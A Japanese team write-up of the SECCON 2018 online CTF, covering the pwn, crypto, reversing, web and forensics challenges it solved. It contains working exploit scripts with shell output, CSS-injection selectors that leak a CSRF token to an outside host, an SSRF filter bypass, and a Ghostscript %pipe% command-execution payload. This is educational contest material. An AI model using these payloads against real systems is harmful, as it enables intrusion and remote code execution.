CTF

SECCON 2018 Online CTF Writeup

https://score-quals.seccon.jp/

チームsuperflipは25問中10問を解いて1854点、44位。

全問題、最初は500点で解いたチームが多いほど点数が下がっていく方式。

Pwn

Classic Pwn (121 pt, 197 solves)

getsでスタックバッファオーバーフローするだけの問題。ただしx64。

  1. GOTのputsのアドレスをputsで出力
  2. このアドレスからOne-Gadget-RCEのアドレスを計算
  3. GOTのputsgetsで書き込む
  4. putsを呼ぶ(実際にはOne-Gadget-RCE)

という流れで解いた。

from socket import *
from time import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("classic.pwn.seccon.jp", 17354))

sleep(1)
print s.recv(1024)

v = "a"*0x48
v += pack("<Q", 0x400753) # pop rdi ret
v += pack("<Q", 0x601018) # puts
v += pack("<Q", 0x400520) # puts

v += pack("<Q", 0x400753) # pop rdi ret
v += pack("<Q", 0x601018) # puts
v += pack("<Q", 0x400560) # gets

v += pack("<Q", 0x400520) # puts
v += "\0"*0x40
s.send(v+"\n")

sleep(1)
print s.recv(18)
t = s.recv(6)
print repr(t)
puts = unpack("<Q", t+"\0\0")[0]
print "puts:", hex(puts)

rce = puts - 0x6f690 + 0x4526a
print "rce:", hex(rce)
s.send(pack("<Q", rce) + "\n")

t = Telnet()
t.sock = s
t.interact()
C:\documents\ctf\seccon2018qual\Classic Pwn>attack.py
Classic Pwnable Challenge
Local Buffer >>
Have a nice pwn!!

'\x90\xd6\x1b\xb6\x83\x7f'
puts: 0x7f83b61bd690L
rce: 0x7f83b619326aL

id
uid=10214 gid=10000(classic) groups=10000(classic)
cat /home/classic/flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
^C

SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

kindvm (255 pt, 64 Solves)

コンテスト終了後に解いた。

Get hints, and pwn it! kindvm.pwn.seccon.jp 12345

指定のサーバーに繋いでみると、こんな感じ。

$ nc kindvm.pwn.seccon.jp 12345
Input your name : hoge
Input instruction : fuga
 _    _           _
| | _(_)_ __   __| |_   ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
|   <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
 Error! Try again!

問題名の通り、VMが実装されている。問題ファイルを解析して調べた仕様は次の通り。

命令 意味
00 np nop
01 load a b reg[a] = mem[b]
02 store a b mem[a] = reg[b]
03 mov a b reg[a] = reg[b]
04 add a b reg[a] += reg[b]
05 sub a b reg[a] -= reg[b]
06 halt 終了
07 in a b reg[a] = b
08 out a reg[a]を出力
09 hint ヒントを出力

扱う整数は32ビットビッグエンディアン。レジスタは8個、メモリ1024バイト。引数のabは、レジスタならば1バイト、メモリならば2バイト、即値ならば4バイトで表す。メモリは最初にAAA...で埋められる。

「Get hints!」の通り、まずはヒントをかき集める。

1個目はスタックバッファオーバーフローでカナリアが死ぬと出てくる。

$ nc kindvm.pwn.seccon.jp 12345
Input your name : aaaaaaaaaaaaaaaaa
 _   _ _       _   _    ____ _____ _____   _
| | | (_)_ __ | |_/ |  / ___| ____|_   _| | |
| |_| | | '_ \| __| | | |  _|  _|   | |   | |
|  _  | | | | | |_| | | |_| | |___  | |   |_|
|_| |_|_|_| |_|\__|_|  \____|_____| |_|   (_)


Nice try! The theme of this binary is not Stack-Based BOF!
However, your name is not meaningless...

スタックバッファオーバーフローの問題ではない。名前に意味が無いわけではない。

2個目はhint命令。

$ echo $'\n\x09\x06' | nc kindvm.pwn.seccon.jp 12345
Input your name : Input instruction :  _    _           _
| | _(_)_ __   __| |_   ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
|   <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
  _   _ _       _   ____     ____ _____ _____   _
| | | (_)_ __ | |_|___ \   / ___| ____|_   _| | |
| |_| | | '_ \| __| __) | | |  _|  _|   | |   | |
|  _  | | | | | |_ / __/  | |_| | |___  | |   |_|
|_| |_|_|_| |_|\__|_____|  \____|_____| |_|   (_)

Nice try! You can analyze vm instruction and execute it!
Flag file name is "flag.txt".

フラグのファイル名が分かる。

3個目は、問題ファイルを解析すると、add命令で元の変数が非負で結果が負というのが条件だと分かる。整数オーバーフロー。正の大きな整数を足すと負になる。メモリの初期値が0x41414141なのでこれを読みこんで足し合わせれば良い。

$ python -c "print '\n\x01\x00\x00\x00\x04\x00\x00\x06'" | nc kindvm.pwn.seccon.jp 12345
Input your name : Input instruction :  _    _           _
| | _(_)_ __   __| |_   ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
|   <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
  _   _ _       _   _____    ____ _____ _____   _
| | | (_)_ __ | |_|___ /   / ___| ____|_   _| | |
| |_| | | '_ \| __| |_ \  | |  _|  _|   | |   | |
|  _  | | | | | |_ ___) | | |_| | |___  | |   |_|
|_| |_|_|_| |_|\__|____/   \____|_____| |_|   (_)

Nice try! You can cause Integer Overflow!
The value became minus value. Minus value is important.

$'hoge'では\x00が扱えなかった。

各命令で、メモリのインデックスが(1024-4)未満であることはチェックされているものの、0以上であることはチェックされていない。また、VMの状態などを管理する変数は次のように並んでいる。

オフセット 内容
+00 プログラムカウンタ
+04 終了するかどうかのフラグ
+08 名前
+0c "banner.txt"
+10 func_greeting
+14 func_farewell

func_greetingfunc_farewellではその都度、+0cのファイルを読みこんでいる。ということで、各メモリはmallocで確保しているので、VMのメモリの直前にはこのVMの状態を管理する変数が並んでいることを期待して、名前を"flag.txt"にして、適当に位置を変えながら4バイト前の値を後ろにコピーする。上手く"flag.txt""banner.txt"に移せればkindvmのアスキーアートの代わりにフラグが表示される。

$ python -c "print 'flag.txt'; print '0100ffd802ffdc0006'.decode('hex')" | nc kindvm.pwn.seccon.jp 12345
Input your name : Input instruction :  _    _           _
| | _(_)_ __   __| |_   ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
|   <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
 SECCON{s7ead1ly_5tep_by_5tep}
Execution is end! Thank you!

SECCON{s7ead1ly_5tep_by_5tep}

Profile (255 pt, 255 solves)

コンテスト終了後に解いた。

一見、ヒープオーバーフローのように見える。それならばけっこう難しいのになぜkindvmよりも解いている人数が多いのだろうと思ったら、スタックバッファオーバーフローだった。

こんな感じ。

$ nc profile.pwn.seccon.jp 28553
Please introduce yourself!
Name >> name
Age >> 17
Message >> abc

1 : update message
2 : show profile
0 : exit
>> 2
Name : name
Age  : 17
Msg  : abc

1 : update message
2 : show profile
0 : exit
>> 1
Input new message >> xyz

1 : update message
2 : show profile
0 : exit
>> 2
Name : name
Age  : 17
Msg  : xyz

1 : update message
2 : show profile
0 : exit
>> 0
Wrong input...

実装はC++で、std::stringを使っている。C++でどうやって脆弱性が生まれるのかと思ったら、update messageで次のようなことをしている。

int n = malloc_usable_size(profile.message.c_str());
getn(profile.message.c_str(), n);

getnはこのプログラム中で定義されている関数で、n文字もしくは\nまで入力を読みこむ。

std::stringのバッファはmallocで確保されているのだから、malloc_usable_sizeが使えそうに思える……が、そんなことはなくて、std::stringは文字列長が短い場合にはバッファを別途確保しない。下のサイトが詳しい。この問題はGCC。

std::stringのSSO(Small-string optimization)がどうなっているか調べた - Qiita

ところで、malloc_usable_sizeがどのように実装されているかというと、引数のポインタの前8バイトの位置にある値から、16を引いたサイズを返している。mallocで確保されたメモリには返り値のポインタに16バイトの管理用の領域が付いていて、後半8バイトは(管理用の領域を含めた)メモリのサイズ。std::stringの場合は文字列長そのままなので、短い文字列長の場合は負のオーバーフローを起こして大きな値となり、チェックが無意味になっていくらでも書き込める。

これを使って直後のstd::stringのポインタを書き換えれば任意のアドレスの値が読める。このプログラムではスタックのカナリアが有効なので、単なるスタックバッファオーバーフローはできないが、カナリアの値を読んで正しい値をそのまま書き込んでしまえば良い。

char[]と違ってstd::stringの場合は、終端のNULL文字を上書きしたところで直後のメモリが読めることはない(元の文字列長までしか出てこない)。その代わりNULL文字を含んだメモリも読める。

profileはスタック上に確保されていて、周辺のスタックは次の配置になっている。

オフセット 内容
-20 profile.message.p
-18 profile.message.length
-10 profile.message.buf
00 profile.name.p
+08 profile.name.length
+10 profile.name.buf
+20 profile.age
+28 canary
+30 ?
+38 rbxの退避
+40 rbpの退避
+48 return address

起点は攻撃スクリプトでstackとしている場所、profile.name

攻撃の流れは次の通り。

  1. profile.name.pの下位1バイトを書き換えながら、profile.name.pを読んだときにprofile.ageになるかどうかをチェックして、スタックのアドレスの下位1バイトを特定する
  2. profile.name.pprofile.name.p自身を指すようにして、スタックのアドレスを読み取る
  3. profile.name.pを書き換えて、カナリアの値を読み取る
  4. profile.name.pを書き換えて、GOTの値を読み取る
  5. スタックのアドレス、libcのアドレス、カナリアの値が分かったので、スタック全体を書き換えてmainからの戻り先をone-gadget RCEにする
  6. プログラムを終了する
from socket import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("profile.pwn.seccon.jp", 28553))

def recv():
  t = ""
  while len(t)<3 or t[-3:]!=">> ":
    t += s.recv(9999)
  return t

recv()
s.send("namename\n")
recv()
s.send("1234\n")
recv()
s.send("message\n")
recv()

def steal(v):
  s.send("1\n")
  recv()
  s.send("a"*16+v+"\n")
  recv()
  s.send("2\n")
  return unpack("<Q", recv()[7:15])[0]

for i in range(2, 16):
  if steal(chr(i*16))==1234:
    break
else:
  print "not found"
  exit(0)
stack = steal(chr((i-2)*16))
print "stack: %08x" % stack

canary = steal(pack("<Q", stack+0x28))
print "canary: %08x" % canary

read = steal(pack("<Q", 0x602028))
print "read: %08x" % read
rce = read - 0xf7250 + 0x4526a
print "rce: %08x" % rce

attack = (
  pack("<QQ", 0, 0) +
  pack("<QQQQ", stack+0x10, 0, 0, 0) +
  pack("<QQQQQQ", 0, canary, 0, 0, 0, rce) +
  "\0"*0x200)
s.send("1\n")
recv()
s.send(attack+"\n")
recv()
s.send("0\n")

t = Telnet()
t.sock = s
t.interact()
C:\documents\ctf\seccon2018qual\Profile>attack.py
stack: 7ffd6e5d3980
canary: 1b992528b4941700
read: 7f2f58c36250
rce: 7f2f58b8426a
Wrong input...
ls -al
total 40
drwxr-x--- 2 root profile  4096 Oct 23 02:37 .
drwxr-xr-x 6 root root     4096 Oct 23 02:37 ..
-rw-r----- 1 root profile   220 Sep  1  2015 .bash_logout
-rw-r----- 1 root profile  3771 Sep  1  2015 .bashrc
-rw-r----- 1 root profile   655 May 16  2017 .profile
-rw-r----- 1 root profile    41 Oct 23 02:37 flag.txt
-rwxr-x--- 1 root profile 15576 Oct 23 02:37 profile
cat flag.txt
SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p}
exit
*** Connection closed by remote host ***

SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p}

Crypto

Boguscrypt (162 pt, 125 solves)

ELFファイルと、TLSの通信をしているpcapファイルを渡されて面倒だなと思ったけれど、そんなことはなかった。

ELFファイルではgethostbyaddrで取得したホスト名で復号しているので、DNSの通信をpcapから探すだけ。

d = open("flag.txt.encrypted", "rb").read()
k = "cur10us4ndl0ngh0stn4m3"[::-1]
print "".join(chr(ord(d[i])^ord(k[i%len(k)])) for i in range(len(d)))

SECCON{This flag is encoded by bogus routine}

mnemonic (260 pt, 62 Solves)

 :
    [
        "c0f...",
        "??? とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる",
        "e9a..."
    ],
    ],
    "flag": "SECCON{md5(c0f...)}"
}

暗号通貨のあれ。仕様はBIP39。11ビットごとに単語を割りあてていくので、伏せられている単語は 0xc0f>>1=0x607番目のはいれつ。結果の16進数は16進数のままmd5だった。

# coding: utf-8

import hashlib

# https://github.com/bitcoin/bips/blob/master/bip-0039/japanese.txt
W = open("japanese.txt").read().decode("utf-8").split()
M = u"はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる"
M = M.split(u" ")
C = 0
for m in M:
    C = C<<11 | W.index(m)
C >>= 11*len(M)-256
print "SECCON{%s}" % hashlib.md5("%032x"%C).hexdigest()

SECCON{cda2cb1742d1b6fc21d05c879c263eec}

Smart Gacha Lv.1 (347 pt, 33 solves)

解けなかった。

Etereumのスマートコントラクトのハック。これは一度やってみたかったが、取りかかる時間が取れず残念。

Electrum Kamuy (455 pt, 9 solves)

解けなかった。

Cryptoジャンルがが実質Crypto Currencyジャンルになっている。暗号通貨のサイトからmnemonicコードの各単語を探す。トップページのコメントと、コメントの投稿完了画面は見つけたけれど、他は見つからず。

Reversing

Runme (102 pt, 352 solves)

Windows 32bitアプリ。GetCommandLine()"C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}なら通る。

SECCON{Runn1n6_P47h}

Special Device File (231 pt, 75 solves)

この問題はSpecial Instructionsの後に公開されたけれど、こちらのほうが先に解けた。ARM64。

https://onlinedisassembler.com/static/home/index.html

で、逆アセンブルできる。/dev/xorshift64というデバイスから値を読んでいるので、名前から挙動を推測。

x = 0x0139408dcbbf7a44
def xor64():
  global x
  x = (x ^ x<<13) & 0xffffffffffffffff
  x = (x ^ x>> 7) & 0xffffffffffffffff
  x = (x ^ x<<17) & 0xffffffffffffffff
  return x

f = open("runme", "rb")
f.seek(0x1800)
c1 = map(ord, f.read(0x20))
c2 = map(ord, f.read(0x20))
p = [0]*0x1f
for i in range(0x1f):
  p[i] = (c1[i] ^ c2[i] ^ xor64()) & 0xff
print "".join(map(chr, p))

SECCON{UseTheSpecialDeviceFile}

Special Instructions (262 pt, 61 solves)

特殊アーキテクチャ。問題文の説明と、その先のファイルでクロス開発環境の構築が丁寧に解説されている。WSLだとビルドが遅いしなぜか失敗したので、VMを使った。Moxieというアーキテクチャ。

moxie-elf-objdumpで逆アセンブルさえできてしまえば読むのは難しくない。

0000154a <set_random_seed>:
    154a:       16 20           bad
    154c:       04 00           ret

0000154e <get_random_value>:
    154e:       17 20           bad
    1550:       04 00           ret

と逆アセンブルできない命令があるけれど、仕様は出力されるようになっている。

SETRSEED: (Opcode:0x16)
    RegA -> SEED
GETRAND: (Opcode:0x17)
    xorshift32(SEED) -> SEED
    SEED -> RegA

やっていることはSpecial Device Fileと同じ。

x = 0x92d68ca2
def xor32():
  global x
  x = (x ^ x<<13) & 0xffffffff
  x = (x ^ x>>17) & 0xffffffff
  x = (x ^ x<<15) & 0xffffffff
  return x

f = open("runme", "rb")
f.seek(0x384)
c1 = map(ord, f.read(0x20))
c2 = map(ord, f.read(0x20))
p = [0]*0x1f
for i in range(0x1f):
  p[i] = (c1[i] ^ c2[i] ^ xor32()) & 0xff
print "".join(map(chr, p))

SECCON{MakeSpecialInstructions}

Media

Needle in a haystack (319 pt, 41 solves)

解けなかった。

https://www.youtube.com/watch?v=sTKP2btHSBQ

9時間の動画。YouTubeのシークバーのサムネイル見ると、中央部だけぼやけて見える。重ねると何かが出てきたりするのかな?

image.png

Web

GhostKingdom (248 pt, 67 solves)

色々な脆弱性が絡んでいて面白かった。振り返ってみればそんなに難しくないはずが、色々とハマってしまった。

サイトにスクショを撮る機能がある。ローカルからだと画像アップロード機能が使えるらしい。とりあえずhttp://127.0.0.1/を投げると、127が含まれているのでダメと言われる。ここはhttp://0x7f.0.0.1で回避。

ログインがGETなので自分のIDとパスワードでログインさせることはできるが、ログインした後に別のページに遷移させる方法が分からず悩んだ。スクリーンショットを撮る間でセッションは維持されるようになっていた。悩む必要は無かった。

管理者にメッセージを送る機能にCSSインジェクションが可能な脆弱性がある。また、cookieのセッションIDがCSRFトークンとして書き出される。これを読み出せば良い。が、

input[value^=0]{background:url(http://hoge/0)}
input[value^=1]{background:url(http://hoge/1)}
 :
input[value^=f]{background:url(http://hoge/f)}

として、手元では上手く動くのに、スクショを撮らせてもリクエストが飛んでこない。外向きの通信を弾いているのではないかと考えた(適当な外部サイトのスクショを撮らせてみれば、すぐに弾いていないと分かったのだが……)。スクショだけから情報を得ようとしたけれど、type="hidden"inputなのでCSSで何をやっても見た目が変えられない。下のボタンの見た目を変えることにした。

input[value^=0]~input{background:#000!important}
input[value^=1]~input{background:#005!important}
 :
input[value^=f]~input{background:#0ff!important}

これでもダメ。一般兄弟結合子か属性セレクターの先頭一致セレクタに対応していない古いブラウザなのかな?とか考えたけれど、結局'を付けていないのが原因だった。手元ではセッションIDの先頭がfなので動作し、サーバーでは先頭が1なのでダメだった。CSS……。

input[value^='0']{background:url(http://hoge/0)}
input[value^='1']{background:url(http://hoge/1)}
 :
input[value^='f']{background:url(http://hoge/f)}

これならOK。

これでローカルからログインしたセッションIDが手に入り、画像アップロード機能が使えるようになった。アップロードした後はGIFに変換できるらしい。Ghostscriptの脆弱性。ここでもちょっとハマった。ググって出てきた

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

を投稿しても変換になる。良く分からないがOSによって違うらしい。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

https://www.exploit-db.com/exploits/45243/

なら動く。フラグはhttp://ghostkingdom.pwn.seccon.jp/FLAG/にあることが問題文に書かれていて、変換中の出力も見えるので、シェルを取ったりする必要は無い。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls -al /var/www/html/FLAG/) currentdevice putdeviceprops

を投げると、

total 8
drwxr-xr-x  2 root root    48 Oct  9 16:35 .
drwxr-x--x. 4 root apache 154 Oct 27 20:52 ..
-rw-r--r--  1 root root    48 Oct 10 15:14 FLAGflagF1A8.txt
-rw-r--r--  1 root root    97 Oct 11 14:10 index.html

が出力される。

http://ghostkingdom.pwn.seccon.jp/FLAG/FLAGflagF1A8.txt

SECCON{CSSinjection+GhostScript/ImageMagickRCE}

QR

QRChecker (222 pt, 80 solves)

縮小拡大によって2通りに読めるQRコードを作れという問題。リサイズはPILImage.resizeをアルゴリズムの指定無しで使っている。指定無しだとニアレストネイバーになる。

attack.png

なので、こんなQRコードを作った。

from PIL import Image

im1 = Image.open("hoge.png")
im2 = Image.open("fuga.png")
im3 = Image.new("RGB", (500, 500), (128, 128, 128))

for y in range(0, 500, 20):
  for x in range(0, 500, 20):
    for yy in range(20):
      for xx in range(20):
        p = ((x/20+2)*10, (y/20+2)*10)
        if xx in [9, 10] and yy in [9, 10]:
          c = im1.getpixel(p)
        else:
          c = im2.getpixel(p)
        im3.putpixel((x+xx, y+yy), c)

im3.save("attack.png")

ニアレストネイバーで縮小すると中央部の点の色になる。縮小せずにQRコードを読ませれば、ちゃんと画素のある位置の周囲を見てくれるでしょう。

SECCON{50d7bc7542b5837a7c5b94cf2446b848}

Forensics

Unzip (101 pt, 597 solves)

現在のUNIX時刻で暗号化したZIPファイル。数字だけのパスワードを探索すれば良い。

SECCON{We1c0me_2_SECCONCTF2o18}

History (145 pt, 147 solves)

Windowsのファイル名っぽいものが含まれたバイナリファイル。意味が分からないのに正解チーム数が増えていて謎だった。

USNジャーナルだった。ファイルに対する操作が記録されているらしい。ファイル名のJは本来は$Jと。USN Analyticsで読める。

ファイル名の変更を抜き出すと、

SEC.txt -> CON{.txt
CON{.txt -> F0r.txt
F0r.txt -> ensic.txt
ensic.txt -> s.txt
s.txt -> _usnjrnl.txt
_usnjrnl.txt -> 2018}.txt

が見つかる。

SECCON{F0rensics_usnjrnl2018}